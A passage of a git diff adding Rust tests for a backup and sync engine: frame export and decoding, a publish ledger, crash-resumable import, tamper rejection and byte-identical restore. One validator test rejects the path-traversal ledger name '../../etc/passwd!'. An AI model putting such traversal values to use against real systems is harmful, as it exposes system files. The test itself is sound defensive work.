.wrapping_add(1442695040888963407); + (state >> 33) as u8 + }) + .collect() +} + +fn write_tree(tree: &Path, cell: &Path) { + fs::create_dir_all(tree.join("src/deep")).unwrap(); + fs::create_dir_all(tree.join("empty")).unwrap(); + fs::write(tree.join("src/main.rs"), b"fn main() {}\n").unwrap(); + fs::write(tree.join("src/deep/notes.txt"), b"notes\n").unwrap(); + fs::write(tree.join("big.bin"), pseudo_random(3 << 20)).unwrap(); + fs::write(tree.join("run.sh"), b"#!/bin/sh\n").unwrap(); + fs::set_permissions(tree.join("run.sh"), fs::Permissions::from_mode(0o755)).unwrap(); + fs::set_permissions(tree.join("src/main.rs"), fs::Permissions::from_mode(0o640)).unwrap(); + symlink("src/main.rs", tree.join("link")).unwrap(); + symlink("nowhere", tree.join("dangling")).unwrap(); + let _ = xattr::set(tree.join("run.sh"), "user.exchange", b"kept"); + fs::create_dir_all(cell.join("sub")).unwrap(); + fs::write(cell.join("meta.json"), b"{\"v\":1}").unwrap(); + fs::write(cell.join("sub/note"), b"cell note").unwrap(); + stamp(tree, 1_600_000_000); + stamp(cell, 1_500_000_000); +} + +/// Gives every entry a distinct, old mtime, children before their directory. +fn stamp(dir: &Path, base: i64) { + let mut seconds = base; + let mut paths = Vec::new(); + collect(dir, &mut paths); + paths.sort(); + for path in paths.iter().rev() { + seconds += 7; + let time = filetime::FileTime::from_unix_time(seconds, 123_000_000); + filetime::set_symlink_file_times(path, time, time).unwrap(); + } +} + +fn collect(dir: &Path, into: &mut Vec) { + into.push(dir.to_owned()); + for entry in fs::read_dir(dir).unwrap() { + let path = entry.unwrap().path(); + if fs::symlink_metadata(&path).unwrap().is_dir() { + collect(&path, into); + } else { + into.push(path); + } + } +} + +pub fn export(source: &Source, ledger: &str, outbox: &Path, max_frame: usize) -> ExportReport { + export_with( + &source.data, + source.head, + &keys(), + ledger, + outbox, + max_frame, + ) + .unwrap() +} + +pub fn export_with( + data: &Path, + head: ObjectId, + keys: &Keys, + ledger: &str, + outbox: &Path, + max_frame: usize, +) -> anyhow::Result { + let store = open_store(data)?; + let ledger = Ledger::named(data, ledger)?; + ExportJob { + store: &store, + keys, + head, + ledger: &ledger, + outbox, + max_frame, + } + .run() +} + +pub fn frame_paths(report: &ExportReport) -> Vec { + report.frames.iter().map(|info| info.path.clone()).collect() +} + +/// Every object of the frames, as the (rid, sealed bytes) a fetcher would +/// download one by one. +pub fn objects_of(frames: &[PathBuf]) -> Vec<(ObjectId, Vec)> { + frames + .iter() + .flat_map(|path| { + let bytes = fs::read(path).unwrap(); + let (_, objects) = frame::decode(&bytes).unwrap(); + objects + .into_iter() + .map(|o| (o.rid, o.bytes.to_vec())) + .collect::>() + }) + .collect() +} + +pub fn put_inbox(inbox: &Path, objects: &[(ObjectId, Vec)]) { + fs::create_dir_all(inbox).unwrap(); + for (rid, bytes) in objects { + fs::write(inbox.join(id_hex(rid)), bytes).unwrap(); + } +} + +#[derive(Debug, PartialEq, Eq)] +pub struct Node { + kind: &'static str, + mode: u32, + mtime: (i64, i64), + size: u64, + content: String, + xattrs: Vec<(String, Vec)>, +} + +/// Everything a byte-identical restore must reproduce, keyed by relative path. +pub fn dump(root: &Path) -> BTreeMap { + let mut nodes = BTreeMap::new(); + nodes.insert(".".to_owned(), node_of(root)); + dump_into(root, root, &mut nodes); + nodes +} + +fn dump_into(root: &Path, dir: &Path, nodes: &mut BTreeMap) { + for entry in fs::read_dir(dir).unwrap() { + let path = entry.unwrap().path(); + let name = path.strip_prefix(root).unwrap().display().to_string(); + nodes.insert(name, node_of(&path)); + if fs::symlink_metadata(&path).unwrap().is_dir() { + dump_into(root, &path, nodes); + } + } +} + +fn node_of(path: &Path) -> Node { + let meta = fs::symlink_metadata(path).unwrap(); + let (kind, content) = if meta.is_dir() { + ("dir", String::new()) + } else if meta.file_type().is_symlink() { + ("link", fs::read_link(path).unwrap().display().to_string()) + } else { + ( + "file", + blake3::hash(&fs::read(path).unwrap()).to_hex().to_string(), + ) + }; + let mut xattrs: Vec<_> = xattr::list(path) + .map(|names| { + names + .map(|n| { + ( + n.to_string_lossy().into_owned(), + xattr::get(path, &n).unwrap().unwrap(), + ) + }) + .collect() + }) + .unwrap_or_default(); + xattrs.sort(); + Node { + kind, + mode: meta.mode(), + mtime: (meta.mtime(), meta.mtime_nsec()), + size: meta.size(), + content, + xattrs, + } +} + +/// Every file under `dir`, for scans that look for bytes that must not be there. +pub fn all_files(dir: &Path) -> Vec { + let mut files = Vec::new(); + let mut stack = vec![dir.to_owned()]; + while let Some(next) = stack.pop() { + for entry in fs::read_dir(&next).unwrap() { + let path = entry.unwrap().path(); + if path.is_dir() { + stack.push(path); + } else { + files.push(path); + } + } + } + files +} + +/// The kind each rid of a source's head names. +pub fn kinds( + data: &Path, + head: ObjectId, +) -> std::collections::HashMap { + use furrow::sealer::Sealer; + let store = open_store(data).unwrap(); + furrow::exchange::survey::survey(&store, head, 1) + .unwrap() + .present + .into_iter() + .map(|(kind, id)| (sealer().remote_id(kind, &id), kind)) + .collect() +} + +pub fn import_all(data: &Path, head: ObjectId, inbox: &Path) -> anyhow::Result { + import_with(data, head, &keys(), inbox) +} + +pub fn import_with( + data: &Path, + head: ObjectId, + keys: &Keys, + inbox: &Path, +) -> anyhow::Result { + let store = open_store(data)?; + let sealer = CellSealer::new(keys); + let ledger = Ledger::named(data, LEDGER)?; + furrow::exchange::fetch::Import { + store: &store, + sealer: &sealer, + head, + inbox, + ledger: &ledger, + } + .run() +} + +pub fn import_primed(data: &Path, head: ObjectId, inbox: &Path) -> anyhow::Result { + let store = open_store(data)?; + let sealer = CellSealer::new(&keys()); + let ledger = Ledger::named(data, LEDGER)?; + furrow::exchange::fetch::Import { + store: &store, + sealer: &sealer, + head, + inbox, + ledger: &ledger, + } + .run_primed() +} + +pub fn import_partial(data: &Path, head: ObjectId, inbox: &Path) -> anyhow::Result { + let store = open_store(data)?; + let sealer = CellSealer::new(&keys()); + let ledger = Ledger::named(data, LEDGER)?; + furrow::exchange::fetch::Import { + store: &store, + sealer: &sealer, + head, + inbox, + ledger: &ledger, + } + .run_partial() +} + +pub fn want_of(data: &Path, head: ObjectId) -> Vec { + let store = open_store(data).unwrap(); + furrow::exchange::fetch::want(&store, &sealer(), head).unwrap() +} diff --git a/engine/furrow-core/tests/import_walk.rs b/engine/furrow-core/tests/import_walk.rs new file mode 100644 index 0000000000..62717e3744 --- /dev/null +++ b/engine/furrow-core/tests/import_walk.rs @@ -0,0 +1,96 @@ +//! A cold primed import explores the graph incrementally: each pass learns +//! only what the objects it stored opened up, instead of re-walking all of it. + +mod common; + +use common::*; +use furrow::exchange::open_store; +use furrow::exchange::survey::Walk; +use furrow::model::{ObjectKind, SnapshotTrigger}; +use furrow::repository::{FurrowRepository, SealOptions}; +use std::fs; + +const DIRS: usize = 400; + +fn wide_source() -> Source { + let temp = tempfile::tempdir().unwrap(); + let data = temp.path().join("data-a"); + let tree = temp.path().join("tree-a"); + let cell = temp.path().join("cell-a"); + fs::create_dir_all(&cell).unwrap(); + for dir in 0..DIRS { + let path = tree.join(format!("d{dir:05}")); + fs::create_dir_all(&path).unwrap(); + for file in 0..3 { + fs::write( + path.join(format!("f{file}")), + format!("content {dir} {file}"), + ) + .unwrap(); + } + } + let options = SealOptions { + changed: None, + overlay: Some(cell.clone()), + }; + let (_, head) = FurrowRepository::attach_and_seal_in( + &data, + &tree, + Some("wide".to_owned()), + SnapshotTrigger::Manual, + options, + ) + .unwrap(); + Source { + _temp: temp, + data, + tree, + cell, + head, + } +} + +#[test] +fn wide_primed_import_takes_everything_and_leaves_nothing() { + let src = wide_source(); + let report = export(&src, LEDGER, &src._temp.path().join("outbox"), 1 << 20); + let objects = objects_of(&frame_paths(&report)); + let inbox = src._temp.path().join("inbox"); + put_inbox(&inbox, &objects); + let data = src._temp.path().join("data-b"); + + let taken = import_primed(&data, src.head, &inbox).unwrap(); + + assert_eq!(taken.imported, objects.len()); + assert_eq!(taken.extras_deleted, 0); + assert!(want_of(&data, src.head).is_empty()); + assert_eq!(fs::read_dir(&inbox).unwrap().count(), 0); +} + +#[test] +fn walk_reports_each_missing_object_once_and_follows_expand() { + let src = wide_source(); + let src_store = open_store(&src.data).unwrap(); + let snapshot = src_store + .read_bytes(&src.head, ObjectKind::Snapshot) + .unwrap(); + let empty = tempfile::tempdir().unwrap(); + let store = open_store(empty.path()).unwrap(); + + let mut walk = Walk::new(src.head); + let first = walk.explore(&store, usize::MAX).unwrap(); + assert_eq!(first.missing, vec![(ObjectKind::Snapshot, src.head)]); + assert!( + walk.explore(&store, usize::MAX).unwrap().missing.is_empty(), + "an object already reported is not listed again" + ); + + walk.expand(ObjectKind::Snapshot, &snapshot).unwrap(); + let next = walk.explore(&store, usize::MAX).unwrap(); + assert_eq!( + next.missing.len(), + 1, + "only the snapshot's root tree is new" + ); + assert_eq!(next.missing[0].0, ObjectKind::Tree); +} diff --git a/engine/furrow-core/tests/stage1_export.rs b/engine/furrow-core/tests/stage1_export.rs new file mode 100644 index 0000000000..f6c7d7e039 --- /dev/null +++ b/engine/furrow-core/tests/stage1_export.rs @@ -0,0 +1,409 @@ +//! Stage 1 contract 5.2 and 5.4: `export` and `published`. + +mod common; + +use common::*; +use furrow::exchange::export::{published, DEFAULT_MAX_FRAME}; +use furrow::exchange::keys::{keys_from, CELL_KEY_VAR, DEDUP_VAR}; +use furrow::exchange::ledger::Ledger; +use furrow::exchange::open_store; +use furrow::exchange::survey::survey; +use furrow::model::SnapshotTrigger; +use furrow::model::{id_hex, ObjectKind}; +use furrow::repository::{FurrowRepository, SealOptions}; +use furrow::sealer::Sealer; +use sha2::{Digest, Sha256}; +use std::collections::HashSet; +use std::fs; + +const SMALL_FRAME: usize = 300 * 1024; + +/// A second, independent reading of the frame layout in the contract, so the +/// encoder is not judged only by its own decoder. +fn strict_decode(frame: &[u8]) -> (serde_json::Value, Vec<(String, Vec)>) { + assert_eq!(&frame[..5], b"AGEF\x01"); + let header_len = u32::from_le_bytes(frame[5..9].try_into().unwrap()) as usize; + let header: serde_json::Value = serde_json::from_slice(&frame[9..9 + header_len]).unwrap(); + let payload = &frame[9 + header_len..]; + let mut offset = 0_u64; + let mut seen = HashSet::new(); + let mut objects = Vec::new(); + for entry in header["objects"].as_array().unwrap() { + assert_eq!( + entry["off"].as_u64().unwrap(), + offset, + "offsets are contiguous" + ); + let len = entry["len"].as_u64().unwrap(); + let rid = entry["rid"].as_str().unwrap().to_owned(); + assert_eq!(rid.len(), 64); + assert!(rid + .bytes() + .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))); + assert!(seen.insert(rid.clone()), "no rid repeats"); + let bytes = payload[offset as usize..(offset + len) as usize].to_vec(); + assert!(bytes.starts_with(b"AGEO\x01")); + offset += len; + objects.push((rid, bytes)); + } + assert_eq!( + offset as usize, + payload.len(), + "objects cover the payload exactly" + ); + (header, objects) +} + +#[test] +fn export_frames_decode() { + let src = source(); + let outbox = src._temp.path().join("outbox"); + let report = export(&src, LEDGER, &outbox, SMALL_FRAME); + assert!(report.frames.len() > 3, "a 3 MiB file needs several frames"); + let key_id = hex::encode(&Sha256::digest([0x11; 32])[..16]); + let mut total = 0; + for info in &report.frames { + assert!(info.path.is_absolute()); + let bytes = fs::read(&info.path).unwrap(); + assert_eq!(bytes.len(), info.bytes); + let (header, objects) = strict_decode(&bytes); + assert_eq!(header["V"], 1); + assert_eq!(header["cell_key_id"], key_id); + assert_eq!(objects.len(), info.objects); + assert!( + bytes.len() <= SMALL_FRAME || objects.len() == 1, + "only a lone object may exceed the bound" + ); + total += objects.len(); + } + assert_eq!(total, report.objects); + let survey = survey(&open_store(&src.data).unwrap(), src.head, 1).unwrap(); + assert_eq!( + total, + survey.present.len(), + "every reachable object is sent once" + ); + assert_eq!( + report.head_rid, + id_hex(&sealer().remote_id(ObjectKind::Snapshot, &src.head)) + ); +} + +#[test] +fn export_order_is_snapshot_trees_xattrs_blobs_chunks() { + let src = source(); + let report = export(&src, LEDGER, &src._temp.path().join("outbox"), SMALL_FRAME); + let ranks = send_ranks(&src, &report); + assert!(ranks.windows(2).all(|pair| pair[0] <= pair[1]), "{ranks:?}"); + assert_eq!(ranks.iter().filter(|rank| **rank == 0).count(), 1); + assert_eq!(ranks[0], 0, "the snapshot is the first object"); +} + +/// A taker can open an object only after its parent, so the first frame must +/// carry the snapshot and the trees before any blob. +#[test] +fn the_first_frame_holds_the_snapshot_and_trees_before_any_blob() { + let src = source(); + let report = export(&src, LEDGER, &src._temp.path().join("outbox"), SMALL_FRAME); + let kinds = kinds_by_rid(&src); + let first = objects_of(&frame_paths(&report)[..1]); + let in_first: Vec = first.iter().map(|(rid, _)| kinds[rid]).collect(); + assert_eq!(in_first[0], ObjectKind::Snapshot); + let all = objects_of(&frame_paths(&report)); + let trees = all + .iter() + .filter(|(rid, _)| kinds[rid] == ObjectKind::Tree) + .count(); + assert_eq!( + in_first.iter().filter(|k| **k == ObjectKind::Tree).count(), + trees, + "every tree is in the first frame" + ); + let last_tree = in_first + .iter() + .rposition(|k| *k == ObjectKind::Tree) + .unwrap(); + let first_blob = in_first.iter().position(|k| *k == ObjectKind::Blob); + assert!(first_blob.is_none_or(|blob| last_tree < blob)); +} + +fn kinds_by_rid(src: &Source) -> std::collections::HashMap { + let store = open_store(&src.data).unwrap(); + survey(&store, src.head, 1) + .unwrap() + .present + .into_iter() + .map(|(kind, id)| (sealer().remote_id(kind, &id), kind)) + .collect() +} + +fn send_ranks(src: &Source, report: &furrow::exchange::export::ExportReport) -> Vec { + let kinds = kinds_by_rid(src); + objects_of(&frame_paths(report)) + .iter() + .map(|(rid, _)| match kinds[rid] { + ObjectKind::Snapshot => 0, + ObjectKind::Tree => 1, + ObjectKind::Xattrs => 2, + ObjectKind::Blob => 3, + ObjectKind::Chunk => 4, + }) + .collect() +} + +#[test] +fn an_object_larger_than_max_frame_gets_a_frame_of_its_own() { + let src = source(); + let report = export(&src, LEDGER, &src._temp.path().join("outbox"), 1024); + assert!(report + .frames + .iter() + .any(|info| info.bytes > 1024 && info.objects == 1)); + assert!(report + .frames + .iter() + .all(|info| info.bytes <= 1024 || info.objects == 1)); +} + +#[test] +fn second_export_is_empty() { + let src = source(); + let outbox = src._temp.path().join("outbox"); + let first = export(&src, LEDGER, &outbox, SMALL_FRAME); + let ledger = Ledger::named(&src.data, LEDGER).unwrap(); + assert_eq!( + published(&ledger, &frame_paths(&first)).unwrap(), + first.objects + ); + let second = export(&src, LEDGER, &outbox, SMALL_FRAME); + assert!(second.frames.is_empty()); + assert_eq!((second.objects, second.bytes), (0, 0)); + assert_eq!(second.head_rid, first.head_rid); +} + +#[test] +fn published_appends_header_rids_and_deletes_frame_files() { + let src = source(); + let report = export(&src, LEDGER, &src._temp.path().join("outbox"), SMALL_FRAME); + let paths = frame_paths(&report); + let expected: HashSet<_> = objects_of(&paths).into_iter().map(|(rid, _)| rid).collect(); + let ledger = Ledger::named(&src.data, LEDGER).unwrap(); + published(&ledger, &paths).unwrap(); + assert!(paths.iter().all(|path| !path.exists())); + assert_eq!(ledger.recorded().unwrap(), expected); + let text = fs::read_to_string(src.data.join(format!("published.{LEDGER}"))).unwrap(); + assert_eq!(text.lines().count(), expected.len(), "one rid per line"); + // A retry after a crash between the two steps finds the files gone. + assert_eq!(published(&ledger, &paths).unwrap(), 0); +} + +#[test] +fn published_refuses_a_file_that_is_not_a_frame() { + let src = source(); + let stray = src._temp.path().join("stray"); + fs::write(&stray, b"not a frame").unwrap(); + let ledger = Ledger::named(&src.data, LEDGER).unwrap(); + assert!(published(&ledger, std::slice::from_ref(&stray)).is_err()); + assert!(stray.exists()); + assert!(ledger.recorded().unwrap().is_empty()); +} + +#[test] +fn reexport_after_crash_is_identical() { + let src = source(); + let outbox = src._temp.path().join("outbox"); + let first = export(&src, LEDGER, &outbox, SMALL_FRAME); + let before: Vec<_> = first + .frames + .iter() + .map(|f| (f.path.clone(), fs::read(&f.path).unwrap())) + .collect(); + // The upload happened and the process died before `published`. + let again = export(&src, LEDGER, &outbox, SMALL_FRAME); + let after: Vec<_> = again + .frames + .iter() + .map(|f| (f.path.clone(), fs::read(&f.path).unwrap())) + .collect(); + assert_eq!(before, after); + assert_eq!(first.head_rid, again.head_rid); +} + +#[test] +fn a_crash_after_some_frames_were_published_resends_only_the_rest() { + let src = source(); + let outbox = src._temp.path().join("outbox"); + let first = export(&src, LEDGER, &outbox, SMALL_FRAME); + let mut unsent: Vec<_> = objects_of(&frame_paths(&first)) + .into_iter() + .map(|(rid, _)| rid) + .collect(); + unsent.drain(..first.frames[0].objects); + let ledger = Ledger::named(&src.data, LEDGER).unwrap(); + published(&ledger, &frame_paths(&first)[..1]).unwrap(); + let again = export(&src, LEDGER, &outbox, SMALL_FRAME); + let resent: Vec<_> = objects_of(&frame_paths(&again)) + .into_iter() + .map(|(rid, _)| rid) + .collect(); + assert_eq!(unsent, resent); +} + +#[test] +fn new_ledger_resends_everything() { + let src = source(); + let outbox = src._temp.path().join("outbox"); + let first = export(&src, LEDGER, &outbox, SMALL_FRAME); + let ledger = Ledger::named(&src.data, LEDGER).unwrap(); + published(&ledger, &frame_paths(&first)).unwrap(); + assert!(export(&src, LEDGER, &outbox, SMALL_FRAME).frames.is_empty()); + + // Another store means another ledger name, which starts empty. + let other = export(&src, OTHER_LEDGER, &outbox, SMALL_FRAME); + assert_eq!(other.objects, first.objects); + assert_eq!( + objects_of(&frame_paths(&other)), + objects_of(&frame_paths(&first)) + ); +} + +#[test] +fn a_ledger_name_must_be_sixteen_lowercase_hex_characters() { + let dir = tempfile::tempdir().unwrap(); + for bad in [ + "", + "0123456789abcde", + "0123456789abcdef0", + "0123456789ABCDEF", + "../../etc/passwd!", + "0123456789abcdeg", + ] { + assert!(Ledger::named(dir.path(), bad).is_err(), "{bad:?}"); + } + assert!(Ledger::named(dir.path(), LEDGER).is_ok()); +} + +#[test] +fn head_that_is_not_in_the_store_is_refused() { + let src = source(); + let error = export_with( + &src.data, + [9; 32], + &keys(), + LEDGER, + &src._temp.path().join("o"), + SMALL_FRAME, + ) + .err() + .unwrap(); + assert!(error.to_string().contains("not complete"), "{error:#}"); +} + +#[test] +fn keys_never_on_argv_or_disk() { + let cell_hex = hex::encode([0x11; 32]); + let dedup_hex = hex::encode([0x22; 32]); + + // The only way in is the two named variables. + let env = |name: &str| match name { + CELL_KEY_VAR => Some(cell_hex.clone()), + DEDUP_VAR => Some(dedup_hex.clone()), + _ => None, + }; + let parsed = keys_from(env).unwrap(); + assert_eq!((parsed.cell_key, parsed.dedup), ([0x11; 32], [0x22; 32])); + for broken in [None, Some("zz".to_owned()), Some("11".repeat(31))] { + let lookup = |name: &str| { + (name == CELL_KEY_VAR) + .then(|| broken.clone()) + .flatten() + .or_else(|| (name == DEDUP_VAR).then(|| dedup_hex.clone())) + }; + let message = keys_from(lookup).err().unwrap().to_string(); + assert!( + message.contains(CELL_KEY_VAR) && !message.contains("zz"), + "{message}" + ); + } + + // Nothing the engine writes holds either secret, raw or in hex. + let src = source(); + let outbox = src._temp.path().join("outbox"); + let report = export(&src, LEDGER, &outbox, SMALL_FRAME); + published( + &Ledger::named(&src.data, LEDGER).unwrap(), + &frame_paths(&report)[..1], + ) + .unwrap(); + export(&src, OTHER_LEDGER, &outbox, SMALL_FRAME); + let needles: [Vec; 4] = [ + vec![0x11; 32], + vec![0x22; 32], + cell_hex.into_bytes(), + dedup_hex.into_bytes(), + ]; + let files: Vec<_> = all_files(&src.data) + .into_iter() + .chain(all_files(&outbox)) + .collect(); + assert!(files.len() > 3); + for path in files { + let bytes = fs::read(&path).unwrap(); + for needle in &needles { + assert!( + !bytes.windows(needle.len()).any(|w| w == needle.as_slice()), + "{}", + path.display() + ); + } + } +} + +/// The default frame size is the contract's `BulkFrame` (§22.6), not the old +/// 1 MiB: a bulk take fetches whole megabyte-scale objects in one frame. The +/// fixture's 3 MiB blob lands in a frame the old default would have split. +#[test] +fn the_default_frame_size_is_bulk_frame() { + assert_eq!(DEFAULT_MAX_FRAME, 8 << 20); + let src = source(); + let outbox = src._temp.path().join("outbox"); + let report = export(&src, LEDGER, &outbox, DEFAULT_MAX_FRAME); + assert!( + report.frames.iter().any(|info| info.bytes > 1 << 20), + "no frame needed the bigger default" + ); + assert!( + report + .frames + .iter() + .all(|info| info.bytes <= DEFAULT_MAX_FRAME), + "a frame outgrew the default" + ); + + // A save smaller than `BulkFrame` still writes one small frame: a small + // payload in a fresh store closes its frame as soon as it ends, not at + // the default. + let temp = tempfile::tempdir().unwrap(); + let tree = temp.path().join("tree-s"); + fs::create_dir_all(&tree).unwrap(); + fs::write(tree.join("note.txt"), b"small\n").unwrap(); + let (_, head) = FurrowRepository::attach_and_seal_in( + &temp.path().join("data-s"), + &tree, + None, + SnapshotTrigger::Manual, + SealOptions::default(), + ) + .unwrap(); + let small = export_with( + &temp.path().join("data-s"), + head, + &keys(), + LEDGER, + &outbox, + 64 * 1024, + ) + .unwrap(); + assert_eq!(small.frames.len(), 1); + assert!(small.frames[0].bytes <= 64 * 1024); +} diff --git a/engine/furrow-core/tests/stage1_fetch.rs b/engine/furrow-core/tests/stage1_fetch.rs new file mode 100644 index 0000000000..468e72df66 --- /dev/null +++ b/engine/furrow-core/tests/stage1_fetch.rs @@ -0,0 +1,657 @@ +//! Stage 1 contract 5.2 and 5.4: `want`, `import` and `materialize`. + +mod common; + +use common::*; +use furrow::exchange::materialize::materialize; +use furrow::exchange::open_store; +use furrow::model::{id_hex, ObjectId, ObjectKind, SnapshotTrigger}; +use furrow::repository::{FurrowRepository, SealOptions}; +use std::collections::BTreeSet; +use std::fs; +use std::os::unix::ffi::OsStrExt; +use std::path::PathBuf; + +const SMALL_FRAME: usize = 300 * 1024; + +/// A receiving side: its own data directory and inbox. +struct Receiver { + _temp: tempfile::TempDir, + data: PathBuf, + inbox: PathBuf, + tree: PathBuf, + cell: PathBuf, +} + +fn receiver() -> Receiver { + let temp = tempfile::tempdir().unwrap(); + let tree = temp.path().join("tree-b"); + fs::create_dir_all(&tree).unwrap(); + Receiver { + data: temp.path().join("data-b"), + inbox: temp.path().join("inbox"), + cell: temp.path().join("cell-b"), + tree, + _temp: temp, + } +} + +fn exported(src: &Source) -> Vec<(ObjectId, Vec)> { + let report = export(src, LEDGER, &src._temp.path().join("outbox"), SMALL_FRAME); + objects_of(&frame_paths(&report)) +} + +fn of_kinds( + objects: &[(ObjectId, Vec)], + kinds: &std::collections::HashMap, + wanted: &[ObjectKind], +) -> Vec<(ObjectId, Vec)> { + let keep = |rid: &ObjectId| wanted.contains(&kinds[rid]); + objects + .iter() + .filter(|(rid, _)| keep(rid)) + .cloned() + .collect() +} + +fn rids(objects: &[(ObjectId, Vec)]) -> BTreeSet { + objects.iter().map(|(rid, _)| *rid).collect() +} + +const STRUCTURE: [ObjectKind; 3] = [ObjectKind::Snapshot, ObjectKind::Tree, ObjectKind::Xattrs]; + +#[test] +fn export_import_materialize_byte_identical() { + let src = source(); + let objects = exported(&src); + let dst = receiver(); + put_inbox(&dst.inbox, &objects); + + assert_eq!( + import_all(&dst.data, src.head, &dst.inbox).unwrap(), + objects.len() + ); + assert!(want_of(&dst.data, src.head).is_empty()); + assert_eq!( + fs::read_dir(&dst.inbox).unwrap().count(), + 0, + "imported files are deleted" + ); + + let head = materialize(&dst.data, &dst.tree, Some(dst.cell.clone()), src.head).unwrap(); + assert_eq!(head, src.head); + // A directory's own mtime is recorded in its parent's entry, so the root + // folder (which has no parent entry) is the one node a snapshot cannot pin. + let (mut restored, mut original) = (dump(&dst.tree), dump(&src.tree)); + restored.remove("."); + original.remove("."); + assert_eq!( + restored, original, + "the tree: modes, symlinks, mtimes, xattrs" + ); + assert_eq!( + dump(&dst.cell), + dump(&src.cell), + "the composed .cell/ directory" + ); +} + +/// An object a store handed us is already in that store, so the next export to +/// it must not send it back: a take followed by a publish would otherwise +/// upload again everything the other device just sent. +#[test] +fn imported_objects_are_recorded_as_published_for_that_store() { + let src = source(); + let objects = exported(&src); + let dst = receiver(); + put_inbox(&dst.inbox, &objects); + import_all(&dst.data, src.head, &dst.inbox).unwrap(); + + let again = export_with( + &dst.data, + src.head, + &keys(), + LEDGER, + &dst._temp.path().join("outbox"), + SMALL_FRAME, + ) + .unwrap(); + assert!( + again.frames.is_empty(), + "the store's own objects were sent back" + ); + + let other = export_with( + &dst.data, + src.head, + &keys(), + OTHER_LEDGER, + &dst._temp.path().join("outbox-other"), + SMALL_FRAME, + ) + .unwrap(); + assert_eq!( + other.objects, + objects.len(), + "another store has none of them" + ); +} + +/// The engine restores into a staging folder and the caller then moves the +/// folder into place. The workspace must follow the move, or the folder at its +/// final path is one the engine has never heard of; a folder that was already +/// registered at that path is the old tree and steps aside. +#[test] +fn a_moved_workspace_is_found_at_its_new_path() { + let src = source(); + let dst = receiver(); + put_inbox(&dst.inbox, &exported(&src)); + import_all(&dst.data, src.head, &dst.inbox).unwrap(); + let staged = dst.tree.with_file_name("tree-staged"); + let placed = dst.tree.with_file_name("tree-placed"); + fs::create_dir_all(&staged).unwrap(); + materialize(&dst.data, &staged, Some(dst.cell.clone()), src.head).unwrap(); + fs::create_dir_all(&placed).unwrap(); + let old = materialize(&dst.data, &placed, Some(dst.cell.clone()), src.head).unwrap(); + assert_eq!(old, src.head); + + fs::remove_dir_all(&placed).unwrap(); + fs::rename(&staged, &placed).unwrap(); + furrow::exchange::ops::rebind(&dst.data, &staged, &placed).unwrap(); + + let store = open_store(&dst.data).unwrap(); + let id = store + .find_workspace(placed.canonicalize().unwrap().as_os_str().as_bytes()) + .unwrap(); + assert!(id.is_some(), "the moved folder is not registered"); + assert!( + store + .find_workspace( + staged + .parent() + .unwrap() + .canonicalize() + .unwrap() + .join("tree-staged") + .as_os_str() + .as_bytes() + ) + .unwrap() + .is_none(), + "the old path still names a workspace" + ); + assert_eq!(store.workspace_head(&id.unwrap()).unwrap(), Some(src.head)); +} + +#[test] +fn materialize_without_a_cell_dir_puts_dot_cell_in_the_tree() { + let src = source(); + let dst = receiver(); + put_inbox(&dst.inbox, &exported(&src)); + import_all(&dst.data, src.head, &dst.inbox).unwrap(); + materialize(&dst.data, &dst.tree, None, src.head).unwrap(); + + let mut restored = dump(&dst.tree); + restored.retain(|name, _| name != "." && !name.starts_with(".furrow")); + let cell = dump(&src.cell); + for (name, node) in cell { + if name != "." { + assert_eq!( + restored.remove(&format!(".cell/{name}")), + Some(node), + "{name}" + ); + } + } + restored.remove(".cell").expect("the .cell entry itself"); + let mut original = dump(&src.tree); + original.remove("."); + assert_eq!(restored, original); +} + +#[test] +fn import_resumes_after_crash() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let dst = receiver(); + + // First run: the structure arrives and the process dies before the rest. + let structure = of_kinds(&objects, &kinds, &STRUCTURE); + put_inbox(&dst.inbox, &structure); + assert_eq!( + import_all(&dst.data, src.head, &dst.inbox).unwrap(), + structure.len() + ); + let blobs = of_kinds(&objects, &kinds, &[ObjectKind::Blob]); + assert_eq!( + BTreeSet::from_iter(want_of(&dst.data, src.head)), + rids(&blobs) + ); + + // Second run: half the blobs arrive, together with a stale copy of an + // object stored before the crash whose file was never deleted. + let (first_half, rest) = blobs.split_at(blobs.len() / 2); + put_inbox(&dst.inbox, first_half); + put_inbox(&dst.inbox, &structure[..1]); + assert_eq!( + import_all(&dst.data, src.head, &dst.inbox).unwrap(), + first_half.len() + ); + assert_eq!( + fs::read_dir(&dst.inbox).unwrap().count(), + 0, + "the stale copy is dropped" + ); + let wanted = BTreeSet::from_iter(want_of(&dst.data, src.head)); + assert!( + rest.iter().all(|(rid, _)| wanted.contains(rid)), + "the undelivered blobs are still wanted" + ); + assert!( + first_half.iter().all(|(rid, _)| !wanted.contains(rid)), + "delivered blobs are not asked for again" + ); + assert!( + wanted.iter().any(|rid| kinds[rid] == ObjectKind::Chunk), + "their chunks now are" + ); + + // Third run finishes the job. + put_inbox(&dst.inbox, &objects); + let remaining = objects.len() - structure.len() - first_half.len(); + assert_eq!( + import_all(&dst.data, src.head, &dst.inbox).unwrap(), + remaining + ); + assert!(want_of(&dst.data, src.head).is_empty()); +} + +#[test] +fn tampered_object_refused() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let dst = receiver(); + let snapshot_rid = *rids(&of_kinds(&objects, &kinds, &[ObjectKind::Snapshot])) + .first() + .unwrap(); + + let mut tampered = objects.clone(); + let victim = tampered + .iter_mut() + .find(|(rid, _)| *rid == snapshot_rid) + .unwrap(); + let middle = victim.1.len() / 2; + victim.1[middle] ^= 1; + put_inbox(&dst.inbox, &tampered); + + let error = import_all(&dst.data, src.head, &dst.inbox).unwrap_err(); + assert!( + error.to_string().contains(&id_hex(&snapshot_rid)), + "{error:#}" + ); + assert_eq!( + want_of(&dst.data, src.head), + vec![snapshot_rid], + "the store is unchanged" + ); + assert!(dst.inbox.join(id_hex(&snapshot_rid)).exists()); + + // The same file under the wrong key fails the same way. + put_inbox(&dst.inbox, &objects); + let wrong = furrow::sealer::Keys { + cell_key: [0x33; 32], + dedup: [0x22; 32], + }; + let error = import_with(&dst.data, src.head, &wrong, &dst.inbox).unwrap_err(); + assert!(!error.to_string().is_empty()); + assert_eq!(want_of(&dst.data, src.head).len(), 1); +} + +/// The whole import call is one catalog batch, so a failure anywhere in it +/// rolls the whole call back: either everything or nothing is catalogued, +/// never a partial catalog. The inbox files are deleted only after the batch +/// commits, so every file is left for the next attempt. +#[test] +fn a_tampered_child_rolls_the_whole_import_back() { + let src = source(); + let objects = exported(&src); + let kinds = kinds(&src.data, src.head); + let dst = receiver(); + let mut tampered = of_kinds(&objects, 